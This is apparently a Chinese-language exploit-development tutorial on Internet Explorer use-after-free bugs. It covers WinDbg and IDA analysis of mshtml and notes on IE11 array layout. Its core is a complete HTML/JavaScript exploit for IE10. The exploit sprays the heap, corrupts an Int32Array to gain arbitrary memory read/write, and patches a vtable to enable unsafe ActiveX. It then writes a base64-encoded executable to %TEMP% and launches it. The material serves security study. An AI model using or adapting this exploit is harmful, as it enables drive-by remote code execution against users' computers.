在IE中打开该POC之前,我们需要禁用掉HPA和UST标志(UST没有什么问题,但我们还是把它禁用掉吧):





现在,在IE中重新打开该POC,在[bookmark: OLE_LINK2][bookmark: OLE_LINK1]mshtml+0x1f4fb8地址处设置一个断点,我们来看看会发生什么:





太好了!ESI指向了我们的对象(0x61是字符串‘a’的ASCII码),现在我们可以控制执行流了.我们的目的是定位以及控制一条指令以便向0c0af01b地址处设置字节0x20.你现在应该理解这个地址的意义了吧!


你可能会奇怪,为什么我将一个字符串赋值给了一个DOM元素的className属性.注意,我们不能这样写


var str = new Array(416).join("a");


当我们将该字符串赋值给elem.className的时候,该字符串会复制一份,接着副本再赋值给DOM元素的属性.你会发现该字符串的副本是分配在与刚被释放对象相同的堆中的(由于UAF错误).如果你尝试分配,例如,一个占0x340字节的ArrayBuffer,它是不会起作用的,因为ArrayBuffer的原始缓冲区将被分配到另一个堆中.




控制执行流


下一步要看我们是否能从崩溃的点开始定位到一条合适的指令写入任意内存地址.我们还是要使用到IDA.IDA是多么有用就不用我再多说了吧.


我们已经确定了崩溃的点位于mshtml+0x1f4fb8.这意味着我们需要对mshtml.dll这个动态库进行反汇编.我们来看一看其路径:


0:009> lmf m mshtml
start    end        module name
6c930000 6d6dd000   MSHTML   C:\Windows\system32\MSHTML.dll


现在我们在IDA中打开该.dll文件,当询问对话框弹出来时,允许IDA从微软的服务器加载符号.


我们转到View(视图)->Open subviews(打开子视图)->Segments(区段).


从这里我们可以确定mshtml的基地址:





正如我们所看到的,基地址为0x63580000.现在我们关闭Program Segmentation(程序区域)这个标签页,按g,输入[bookmark: OLE_LINK5][bookmark: OLE_LINK4][bookmark: OLE_LINK3]0x63580000+0x1f4fb8.你应该会发现自己到了崩溃的地方.


我们开始分析:





[ESI+98h]的值必须为非0,因为我们的字符串不能包含空宽字符(作为字符串的空结束符,字符串会提前被截断).正因为如此,在执行到第二个结点时(将[esi+1a4h]与15f90h进行比较).我们可以选择[ESI+1a4h]=11111h,这样的话第三个结点就被跳过了,崩溃就很容易避免掉了,我们也可以做一些设置让[eax+2f0h]可写.


现在我们来看一看?UpdateMarkupContentsVersion这个函数:












这张图应该很清楚了吧.无论如何,有一个很重要的点需要理解的.我们知道,我们要修改的长度的Int32Array位于0xc0af000地址处,但是我们不能控制该地址处的值.但是,我们知道位于0xc0af01c地址处的值是与Int32Array相关联的原始缓冲区的地址.注意,我们并不知道原始缓冲区的地址,但是我们知道,我们可以在0xc0af01c地址处找到它.现在,我们必须确保原始缓冲区中偏移1c0h处的dword为0.不幸的是,原始缓冲区只占0x58字节.记住,我们不能分配更大的缓冲区,因为它必须和LargeHeapBlock(大堆块)具有相同的大小.不要慌,有更简单的解决方案:分配更多的原始缓冲区!


我们来总结一下我们的内存布局:


对象大小 = 0x340 = 832
偏移: 值
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr(原始缓冲区的地址) ==> [Y+1c0h] 为 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)


我们需要对我们的html文件做一些修改.


首先,我们添加这段代码是为了触发UAF漏洞并且控制指令流:


  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;
 
    // 对象大小 = 0x340 = 832
    // 偏移: 值
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr(原始缓冲区的地址) ==> [Y+1c0h] 为 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1处为宽字符串的结束符
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }



下一步,我们必须创建4个以上ArrayBuffer,正如我们之前讨论过的:


   a = new Array();
 
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf2)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf3)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf4)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf5)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // 必须为0x58!
        buf2 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf3 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf4 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf5 = new ArrayBuffer(0x58);       // 必须为0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }


已经添加了4个以上的ArrayBuffer,我们还需要修复用于计算第一个原始缓冲区地址的代码:

    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
 
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;


基本上,我们将int32array[0x60*N/4]修改为int32array[0x60*(N+4)/4],为了在原始缓冲区之后多占4个原始缓冲区.

还有,最后一行是

buf_addr = nextPtr1 - 0x60*2

被修改为

buf_addr = nextPtr1 - 0x60*(2+4)

同理.

我注意到,SaveToFile有的时候会失败,所以我决定当这种情况发生的时候强制重新加载页面:

    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 =  如果已经存在就覆盖之
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    .
    .
    .
    
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }


完整的代码如下:


<html>
<head>
<script language="javascript">
  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;
 
    // 对象大小 = 0x340 = 832
    // 偏移: 值
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr(原始缓冲区的地址) ==> [Y+1c0h] 为 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1处为宽字符串的空结束符
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }
 
  (function() {
//    alert("Starting!");
    
    CollectGarbage();
 
    //-----------------------------------------------------
    // 从1字节写入到读/写整个进程地址空间
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf2)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf3)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf4)
    // 8字节头部 | 0x58字节 ArrayBuffer(数组缓冲区) (buf5)
    // 8字节头部 | 0x58字节 LargeHeapBlock(大堆块)
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // 必须为0x58!
        buf2 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf3 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf4 = new ArrayBuffer(0x58);       // 必须为0x58!
        buf5 = new ArrayBuffer(0x58);       // 必须为0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead(数组数据头部)
    //   0x20:  array[0] address(地址)
    //   0x24:  array[1] address(地址)
    //   ...
    // 0xf000:  Int32Array(32位整数类型数组)
    // 0xf030:  Int32Array(32位整数类型数组)
    //   ...
    // 0xffc0:  Int32Array(32位整数类型数组)
    // 0xfff0:  对齐的数据
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //           虚表指针
    // 0c0af000 6b623718 030098a0 00000000 00000003 00000004 00000000 20000016 02a83ae0
    // 0c0af020 0301ddc0                                              array_len buf_addr
    //          jsArrayBuf                                           (数组长度)(缓冲区地址)
    //alert("Set byte at 0c0af01b to 0x20");
    
    // 我们将array_len最高字节自增20次 (等价于写入了0x20).
    for (var k = 0; k < 0x20; ++k)
      trigger();
    
    // 现在我们来定位我们要修改其长度的Int32Array.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      //alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // 这仅仅是一个例子.
    // 起始于02a83b40地址处的Int32Array类型的缓冲区占0x58字节.
    // 接下来的LargeHeapBlock,前面8字节的头部,起始于02a83b40.
    // 括号中的值,位于02a83ae0+0x60+0x24,指向了下一个LargeHeapBlock.
    //
    // 02a83ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 02a83b20 00000000 00000000 00000000 00000000 00000000 00000000 6dc720aa 8c00ffff
    // 02a83b40 6b621b0c 00000003 06790000 00000010 00000001 00000000 00000004 0679f020
    // 02a83b60 067a0000 02a83ba0 00000000 00000001 00000001 00000000 02a53658 06790000
    // 02a83b80 00000000 00000000 00000000 00000004 00000001 029fda9c 6dc720be 8c000000
    // 02a83ba0: ...
 
    // 我们检查上面的结构是否正确(我们检查第一个LargeHeapBlock).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x1b0c
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x1b0c || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      //alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;
    
    // 现在我们再次修改int32array以此来逐步读/写整个地址空间.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      //alert("Error 2!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // 新长度
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // 新缓冲区地址
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // 上帝模式
    //---------
    
    // 从0c0af000地址处我们可以读取Int32Array的虚表指针.
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3718
    jscript9 = read(0x0c0af000) - 0x3718;
    
    // 现在我们需要确定MSHTML的基地址.我们可以创建一个HTML
    // 对象,写入对应于我们其中一个数组的最后一个元素的引用(地址为0x0c0af000-4)
    // 定位位于0x0c0af000-4地址处的数组.     
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    //我们向我们其中一个数组的最后一个位置写入3.IE浏览器会将数字x
    //编码为2*x+1,这样就可以将地址(以dword对齐的)和数字区分开.
    //我们要么使用奇数,要么使用有效的地址,不然的话,IE浏览器将在
    //下面的循环中崩溃掉.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
//      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // 回头来确定MSHTML的基地址...
    // 开始处的元素div如下:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x126e23
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x126e23;
 
    // 我们想用jscript9+0xf4d84覆盖掉mshtml+0xc57750+0x14地址处的DWORD值:
    //  *mshtml + 0xc57750是我们想要修改的虚表项的地址;
    //  *jscript9+0xf4d84指向了代码"leave / ret 4".
    // 其结果是,jscript9!ScriptEngine::CanObjectRun返回true. 
 
 
     //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x000c39ce| --> "XCHG EAX,ESP | ADD EAX,5c563dc0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x1503cc | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0x100b52  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0x000f4a54 | --> "LEAVE | RET 4"
    
    // 如果我们“write(pp_obj,X)”,则我们将在CanCreateObject让EAX=X
 
    var old = read(mshtml+0xc57750+0x14);
 
    write(mshtml+0xc57750+0x14, jscript9+0xf4d84);      // 开启上帝模式!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc57750+0x14, old);                   // 关闭上帝模式!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // 指向对象指针的指针
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x0c39ce;
    new_vftable[0x14/4] = jscript9+0x0f4a54;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        //指向new_vftable的原始缓冲区
    
    // 创建新的对象.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x1503cc;
    new_object[2] = jscript9 + 0x100b52;
    new_object[3] = jscript9 + 0x0f4a54;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // 指向new_object的原始缓冲区
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // 以base64加密的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
    
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       //  跳过tStream前两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 =  如果已经存在就覆盖之
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
    // 现在数据像这样子
    //   11 00 12 00 45 00 50 00 ...
    // 而不是像这样
    //   11 12 45 50 ...
    // 我们来修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>


跟之前一样,我将runcalc进行了部分省略.你可以从附件中下载完整的代码.


使用SimpleServer,并在IE中加载该页面,一切应该都会正常运作!这个漏洞利用程序非常可靠.事实上,有的时候IE会崩溃,因为UAF错误导致的未知的错误,这个时候IE将重载页面.用户会看到这个崩溃,但是也不要紧.崩溃的情况还是非常少见的.




IE 10 32位和64位


安装两个版本的IE10:32位和64位版本.我们的漏洞利用程序在这两个版本中都能奏效,标签页与主窗口相关联的iexplore.exe模块是不同的(一个是32位的,而另一个是64位可执行程序),与标签页相关联的iexplore.exe在这两个版本中都是32位的.你通过查看任务管理器中两个可执行文件的路径就可以验证得知.























IE11:Part1


对于本章节的漏洞利用,我们使用VirtualBox虚拟机,Windows 7 64位SP1,IE11从这里下载:


http://filehippo.com/download_internet_explorer_windows_7_64/tech/




EmulateIE9(设置浏览器的DOM模式为IE9)


要为本章节找一个IE11的UAF漏洞还是挺难的,因为安全研究员们通常在他们的文章中略过关键的技术细节.作为一个开发漏洞利用程序的学生,我渴望获取到这类信息.


还有,该UAF漏洞我发现需要如下这一行:


<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />

不幸的是,当我们模拟IE 9的时候,Int32Array是不能用的,所以我们用于IE 10(见上一章节)的方法,虽然非常普遍,但是这里并不适用.现在是时候来另找一种方法了!




Array(数组)


我们已经看过了Arrays(数组)在IE10的内存中是如何布局的了.IE11中也是非常类似的,但是其中有一个非常有意思的区别.我们通过如下简单的代码来创建一个Array(数组):


<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < a.length; ++i)
    a[i] = 0x123;
</script>
</head>
<body>
</body>
</html>





我们已经见识过了-IE10中的Arrays(数组)是通过调用jscript9!Js::JavascriptArray::NewInstance创建的.我们对其设置一个断点:


bp jscript9!Js::JavascriptArray::NewInstance


如果你在IE11中重新加载该页面,会发现什么也没有发生.我们试一下构造函数:


0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"



我这里WinDbg中出现了一个奇怪的错误:


Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404          add     esp,4



如果你知道原因的话,麻烦请告知我一下.想要避免这个错误,你可以手动设置这4个断点:


bp 68de2480    
bp 68de7f42    
bp 68c749ad 
bp 68c9e091 



当我们会恢复执行并在IE中允许被阻止的内容,第二个断点就触发了,栈回溯如下:


0:007> k 8
ChildEBP RetAddr  
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9



我们删除所有断点,接着给JavascriptNativeIntArray::NewInstance设置一个断点:

0:007> bc *

0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance


重新加载该页面,当该断点触发时,按Shift+F11从当前的call中返回.现在EAX应该指向了JavascriptNativeIntArray对象:


JavascriptNativeIntArray对象:





好像该数组的缓冲区仅仅只有4个元素的空间.或者,可能这4个元素是该缓冲区的头部?当Array(数组)增长的时候,一个更大的缓冲区应该会被分配,因此,在Array(数组)对象中的指向缓冲区的指针也应该会改变.所以,我们对buf_addr域设置一个硬件断点:


ba w4 @eax+4

当我们恢复执行的时候,该硬件断点就触发了,栈回溯如下:


0:007> k 8
ChildEBP RetAddr  
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88


跟我们预想的一样,Array(数组)增长时,元素的添加是通过jscript9!Js::JavascriptNativeIntArray::SetItem来实现的.缓冲区的新地址为039e0010h.现在恢复执行,然后再次停止执行,看看位于039e0010h地址处的缓冲区:





正如我们所看到的,整数0x123没有经过任何编码就被写入到了缓冲区中了.在IE10中我们将会得到0x247,即:0x123*2+1.唯一需要注意的是,这些整数是有符号的.我们来看一看当我们想该Array(数组)中写入比最大的正整数还大的值会发生什么.为了更容易定位到其中一个缓冲区,我们来进行堆喷射:


<head>
<script language="javascript">
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = 0x80000000;
  }
</script>
</head>
<body>
</body>
</html>


在WinDbg中,转到一个像9000000h这样的地址处或者使用VMMap确定一个合适的地址.这个时候你会看到一些眼熟的东西:





我们在IE10中得出的确切情况是:数字被编码为(2*N+1),并且第一个元素应该为数字0x80000000,指向JavascriptNumber对象.有没有方法可以直接写入0x80000000呢?是:我们需要找到一个负数(其二进制补码被表示为0x80000000).这个数字是


-(0x100000000 - 0x80000000) = -0x80000000


我们来试一试它:


<html>
<head>
<script language="javascript">
  CollectGarbage();
  var a = new Array();
  for (var i = 0; i < 0x1000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < a[i].length; ++j)
      a[i][j] = 0x123;
    a[i][0] = -0x80000000;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>


正如我们所看到的,我们得到的正是我们想要的:





我们可以得出结论:在IE11中Array(数组)存储32位有符号整数是直接存储的,没有经过任何特殊的编码.32位有符号整数写入到Array(数组)中就不太一样了,所有的整数跟IE10中一样都会被编码为2*N+1.这意味着,只要我们足够小心的话,我们可以用普通的Array来作为Int32Array.这一点非常重要,因为我们在EmulateIE9这一小节就说过了,Int32Arrays将无法使用.




越界读/写


在IE10中Array(数组)的长度在Array(数组)对象和Array(数组)缓冲区的头部中都出现了.我们来看看IE11中有没有变化.我们用如下的代码:


<html>
<head>
<script language="javascript">
  var a = new Array((0x10000 - 0x20)/4);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;  
 
  alert("Done");
</script>
</head>
<body>
</body>
</html>



为了确定Array(数组)的地址,我们可以用如下的断点:


bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"



Array(数组)对象和其缓冲区如下图所示:




我们用这段代码:


<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the array length");
 
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>


我们想要修改Array(数组)的长度,以至于我们可以对Array(数组)的实际边界进行越界读/写.我们在IE中加载该HTML页面,当第一个alert消息框弹出来后,来到WinDbg中,用0x20000000覆盖 Array对象的长度字段.当我们关闭该alert消息框后,第二个带有未定义消息的alert框就会弹出来.这意味着,我们不能越界读取Array(数组).


